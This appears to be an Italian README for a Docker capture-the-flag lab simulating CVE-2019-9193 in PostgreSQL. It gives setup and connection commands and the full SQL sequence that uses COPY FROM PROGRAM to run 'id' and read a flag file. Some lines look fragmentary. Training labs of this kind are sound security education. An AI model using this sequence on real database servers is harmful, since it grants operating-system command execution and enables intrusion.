
Questo laboratorio simula CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE
Questo lab simula CVE-2019-9193, una vulnerabilità di PostgreSQL 9.3–11.2 che consente di:
COPY ... FROM PROGRAM '<comando>'
di eseguire comandi OS se eseguita da un superuser o da un ruolo con pg_execute_server_program.
Il tuo compito è sfruttare questa funzionalità per leggere:
/tmp/flag.txt
COPY FROM PROGRAM per:
docker compose build
docker compose up -d
Connettiti tramite:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
pg_execute_server_program inutilmente